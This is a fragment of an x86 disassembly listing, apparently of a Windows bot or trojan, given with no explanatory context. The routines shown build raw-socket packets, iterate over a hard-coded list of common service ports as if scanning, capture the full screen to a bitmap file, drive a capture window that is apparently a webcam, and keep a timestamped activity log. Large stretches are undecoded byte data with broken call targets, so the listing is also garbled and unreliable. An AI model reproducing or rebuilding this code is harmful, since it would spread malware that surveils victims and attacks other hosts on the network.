858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB868FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 0BB7EE856h, 5590022Ah, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0C196E800h, 2B900225h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57868h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EECh, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 0E8006A14h, 22AB8BCh, 0EC8B5590h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360DCh, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608C68h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60486850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 0E8500C45h dd 7169CB00h, 0A8358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601C68FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57868ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0BC9AE8FCh, 2B900225h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB868h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2C68500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610868FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0BDE89056h dd 5F022AB4h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 3468004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 34685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 0B5EEE8FFh, 2B900225h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 24AF5BE8h dd 0FDC2E902h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436150 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_43613C lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2750611h mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_43619C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436188 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361CC push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361B0 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi nop ; --------------------------------------------------------------------------- db 0E8h, 46h, 0ACh ; --------------------------------------------------------------------------- sub al, [edx] pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26E08DCh cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26D0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26D0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] nop call near ptr 26D0000h loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 26D0000h push [ebp+arg_0] call near ptr 26408DCh nop push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; CODE XREF: sub_4155F7+106j mov eax, 